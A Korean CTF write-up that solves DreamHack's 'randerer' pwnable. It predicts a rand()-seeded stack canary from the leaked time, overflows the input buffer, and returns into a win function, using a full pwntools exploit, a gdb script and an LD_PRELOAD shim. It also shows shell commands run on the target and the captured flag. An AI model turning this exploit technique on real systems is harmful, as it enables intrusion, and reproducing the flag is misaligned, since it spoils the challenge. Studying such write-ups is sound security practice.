[🥉 Bronze 1] 시계를 보여주는 카나리 — DreamHack randerer 풀이

file prob; pwn checksec prob; nm prob | grep -iE "canary|win|main|rand|time"

objdump -s -j .init_array prob; objdump -s -j .rodata prob

s|(call.*<time@plt>)|\1        <-- t = time(NULL)|
s|(call.*<srand@plt>)|\1       <-- srand(t)  : 씨드는 '지금 시각' 하나뿐|
s|(shl +rax,0x8)|\1            <-- canary <<= 8|
s|(call.*<rand@plt>)|\1        <-- rand()|
s|(movzx +eax,al)|\1           <-- 하위 1바이트만 취한다|
s|(or +rax,rbx)|\1             <-- canary \|= byte|
s|(cmp +DWORD PTR \[rbp-0x14\],0x7)|\1   <-- 0..7 → 8바이트를 채운다|

objdump -d --no-show-raw-insn -M intel --start-address=0x401236 --stop-address=0x401291 prob | sed -E -f annot_init.sed

unsigned long canary;          /* .bss, 0x4040b0 */
 
void init_canary(void) {       /* __attribute__((constructor)) */
    srand(time(NULL));
    for (int i = 0; i <= 7; i++)
        canary = (canary << 8) | (rand() & 0xff);
}

s|(call.*<time@plt>)|\1        <-- main 도 time(NULL) 을 다시 부른다|
s|(mov +rax,QWORD PTR \[rip\+0x2d98\].*)|\1   <-- 전역 canary 를 읽어|
s|(mov +QWORD PTR \[rbp-0x10\],rax)|\1   <-- 스택 복사본 \[rbp-0x10\] 에 둔다|
s|(lea +rax,\[rip\+0xce0\].*)|\1   <-- "time: %ld" — 씨드를 그대로 출력|
s|(lea +rax,\[rbp-0x20\])|\1            <-- 입력 버퍼는 rbp-0x20|
s|(mov +edx,0x100)|\1              <-- 길이 0x100 = 256바이트|
s|(call.*<read@plt>)|\1        <-- 0x20 프레임에 256바이트 → 전면 오버플로우|
s|(cmp +rdx,rax)|\1               <-- 복사본 vs 전역 canary|

objdump -d --no-show-raw-insn -M intel --start-address=0x401311 --stop-address=0x401397 prob | sed -E -f annot_main.sed

#!/usr/bin/env python3
"""glibc rand() 재현 (TYPE_3 additive feedback, degree 31 / sep 3).
 
randerer 의 init_canary 는 srand(time(0)) 뒤 rand() 를 8번 불러
canary = (canary << 8) | (rand() & 0xff) 로 8바이트를 조립한다.
seed 가 화면에 찍히므로 같은 수열을 재현하면 canary 를 그대로 복원할 수 있다.
"""
import ctypes
 
 
def rand_pure(seed: int, n: int) -> list[int]:
    """순수 파이썬 재현. glibc srandom_r + random_r(TYPE_3) 를 그대로 옮긴 것."""
    s = [0] * (344 + n)
    s[0] = seed & 0xFFFFFFFF or 1
    # srandom_r: state[i] = 16807 * state[i-1] % 2147483647 (Schrage 곱셈)
    for i in range(1, 31):
        hi, lo = divmod(s[i - 1], 127773)
        word = 16807 * lo - 2836 * hi
        if word < 0:
            word += 2147483647
        s[i] = word
    # fptr=state+3, rptr=state+0 인 환형 버퍼를 선형 수열로 펼친 결과
    for i in range(31, 34):
        s[i] = s[i - 31]
    for i in range(34, 344 + n):
        s[i] = (s[i - 31] + s[i - 3]) & 0xFFFFFFFF
    # srandom_r 이 초기화 때 310회를 버린다 → 실제 첫 rand() 는 s[344]
    return [s[344 + k] >> 1 for k in range(n)]
 
 
def rand_libc(seed: int, n: int) -> list[int]:
    """같은 값을 호스트 glibc 로 직접 뽑아 대조용으로 쓴다."""
    libc = ctypes.CDLL("libc.so.6")
    libc.srand(ctypes.c_uint(seed))
    return [libc.rand() for _ in range(n)]
 
 
def canary_of(seed: int) -> int:
    """init_canary 와 동일한 조립: 첫 rand 의 하위 1바이트가 최상위 바이트."""
    c = 0
    for v in rand_pure(seed, 8):
        c = ((c << 8) | (v & 0xFF)) & 0xFFFFFFFFFFFFFFFF
    return c
 
 
if __name__ == "__main__":
    import sys
 
    seeds = [int(a) for a in sys.argv[1:]] or [0, 1, 1792861683, 1700000000]
    for sd in seeds:
        p, l = rand_pure(sd, 8), rand_libc(sd, 8)
        print(f"seed={sd:<12} pure={[hex(x & 0xff) for x in p]}")
        print(f"{'':<17} libc={[hex(x & 0xff) for x in l]}  "
              f"match={p == l}  canary=0x{canary_of(sd):016x}")

python3 glibc_rand.py 1700000000 1792862071

/* time() 을 고정값으로 묶어 canary 를 결정론적으로 만든다.
   gcc -shared -fPIC -o fixtime.so fixtime.c
   LD_PRELOAD=./fixtime.so ./prob  ->  seed 는 항상 1700000000 */
#include <time.h>
#define FIXED 1700000000
time_t time(time_t *t) { if (t) *t = FIXED; return FIXED; }

from glibc_rand import canary_of
from pwn import p64
c = canary_of(1700000000)
print('canary', hex(c))
open('payload.bin','wb').write(b'A'*16+p64(c)+b'B'*16+p64(0x401299)+b'\nid; cat /etc/hostname; echo SHELL_OK\n')

set confirm off
set pagination off
# main: 전역 canary 를 지역 복사본으로 옮기는 지점
break *0x401311
# read() 직후 — 덮어쓴 스택을 눈으로 확인
break *0x401367
# win 안에서 system() 을 호출하는 지점
break *0x4012a3
run < payload.bin
printf "[1] global canary @0x4040b0 = 0x%016lx\n", *(unsigned long*)0x4040b0
continue
printf "[2] rbp=%p  buf=%p  ret slot=%p\n", $rbp, $rbp-0x20, $rbp+8
printf "[2] ret offset from buf = %ld bytes\n", ($rbp+8)-($rbp-0x20)
printf "[2] canary copy @%p = 0x%016lx\n", $rbp-0x10, *(unsigned long*)($rbp-0x10)
printf "[2] overwritten ret = 0x%016lx\n", *(unsigned long*)($rbp+8)
x/6gx $rbp-0x20
continue
printf "[3] call system 직전: rsp=%p  rsp%%16=%lu  (ABI 요구치 0)\n", $rsp, ((unsigned long)$rsp)%16
printf "[3] rdi = %s\n", (char*)$rdi
x/1i $rip
kill

LD_PRELOAD=./fixtime.so gdb -q -batch -x runtime.gdb ./prob

#!/usr/bin/env python3
"""randerer (Dreamhack, Bronze 1 / pwnable) — rand() 로 만든 자작 canary 를 예측해 ret2win.
 
init_canary 가 .init_array 에서 srand(time(0)) 로 씨드를 잡고
    canary = (canary << 8) | (rand() & 0xff)
를 8번 돌려 전역 canary(0x4040b0) 를 만든다. main 은 그 값을 [rbp-0x10] 에 복사해 두고
"time: %ld" 로 time(0) 를 그대로 알려준 뒤 read(0, [rbp-0x20], 0x100) 으로
0x20 바이트 프레임에 256 바이트를 받는다.
→ 화면에 찍힌 time 으로 canary 를 복원해 같은 값으로 덮고, 리턴 주소를 win 으로 돌린다.
 
스택 배치 (rbp 기준, gdb 로 실측):
    [rbp-0x20] 입력 버퍼 시작        offset  0
    [rbp-0x10] canary 복사본         offset 16
    [rbp-0x08] 미사용                offset 24
    [rbp+0x00] saved rbp             offset 32
    [rbp+0x08] return address        offset 40
 
사용법:
    python3 solve.py host3.dreamhack.games:PORT      # 라이브
    python3 solve.py 127.0.0.1:15531                 # 로컬 docker
    python3 solve.py                                 # ./prob 직접 실행
"""
import argparse
import sys
import time as _time
 
from pwn import context, log, p64, process, remote
 
# ── win 진입점 ──────────────────────────────────────────────────────────────
# 0x401291 (함수 머리) 로 들어가면 push rbp 때문에 call system 직전 rsp%16 이 8 이 되고
# do_system+101 의 `movaps %xmm1,(%rsp)` 에서 SIGSEGV 가 난다.
# push rbp 를 건너뛴 0x401299 로 들어가야 rsp%16 == 0 이라 셸이 뜬다.
WIN = 0x401299
RET_OFFSET = 40
CANARY_OFFSET = 16
 
 
def glibc_rand(seed: int, n: int) -> list[int]:
    """glibc rand() 수열 재현 (TYPE_3 additive feedback, degree 31 / sep 3)."""
    s = [0] * (344 + n)
    s[0] = (seed & 0xFFFFFFFF) or 1
    # srandom_r 초기화: state[i] = 16807 * state[i-1] % 2147483647 (Schrage 곱셈)
    for i in range(1, 31):
        hi, lo = divmod(s[i - 1], 127773)
        word = 16807 * lo - 2836 * hi
        s[i] = word + 2147483647 if word < 0 else word
    # fptr=state+3, rptr=state+0 인 환형 버퍼를 선형 수열로 펼친 모양
    for i in range(31, 34):
        s[i] = s[i - 31]
    for i in range(34, 344 + n):
        s[i] = (s[i - 31] + s[i - 3]) & 0xFFFFFFFF
    # 초기화 때 310 회를 버리므로 실제 첫 rand() 는 s[344]
    return [s[344 + k] >> 1 for k in range(n)]
 
 
def canary_of(seed: int) -> int:
    """init_canary 와 동일한 조립 — 첫 rand 의 하위 1바이트가 최상위 바이트가 된다."""
    c = 0
    for v in glibc_rand(seed, 8):
        c = ((c << 8) | (v & 0xFF)) & 0xFFFFFFFFFFFFFFFF
    return c
 
 
def build(canary: int) -> bytes:
    pad = b"A" * CANARY_OFFSET
    tail = b"B" * (RET_OFFSET - CANARY_OFFSET - 8)   # [rbp-0x8] + saved rbp
    return pad + p64(canary) + tail + p64(WIN)
 
 
def attack(io, skew: int) -> bool:
    seed = int(io.recvline_startswith(b"time: ").strip().split(b":")[1]) + skew
    canary = canary_of(seed)
    log.info("seed=%d (skew %+d)  ->  canary=0x%016x", seed, skew, canary)
    io.recvuntil(b"input your data: ")
    io.send(build(canary))
    _time.sleep(0.3)
    io.sendline(b"echo SHELL_OK; id; ls -la; cat flag")
    out = io.recvrepeat(3)
    print(out.decode(errors="replace"))
    if b"SHELL_OK" not in out:
        log.failure("셸 미획득 (canary 예측 실패 또는 정렬 문제)")
        return False
    for tok in out.split():
        if tok.startswith(b"DH{") or tok.startswith(b"flag{"):
            log.success("FLAG = %s", tok.decode())
    return True
 
 
def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("target", nargs="?", help="host:port (생략하면 ./prob 실행)")
    ap.add_argument("--skew", type=int, default=0, help="찍힌 time 에 더할 보정값")
    ap.add_argument("--tries", type=int, default=3)
    a = ap.parse_args()
    context.arch = "amd64"
    context.log_level = "info"
 
    for n in range(1, a.tries + 1):
        host, port = a.target.rsplit(":", 1) if a.target else (None, None)
        io = remote(host, int(port)) if a.target else process("./prob")
        try:
            if attack(io, a.skew):
                return 0
        finally:
            io.close()
        log.info("재시도 %d/%d", n, a.tries)
    return 1
 
 
if __name__ == "__main__":
    sys.exit(main())

docker build -t randerer-local extracted/
docker run --rm -d --name randerer-test -p 15532:8080 randerer-local; sleep 2; python3 solve.py 127.0.0.1:15532 --tries 1; docker rm -f randerer-test

python3 solve.py host3.dreamhack.games:19154 --tries 1

DH{995277f7:GOuz9U6faasv6OVEW6uo4A==}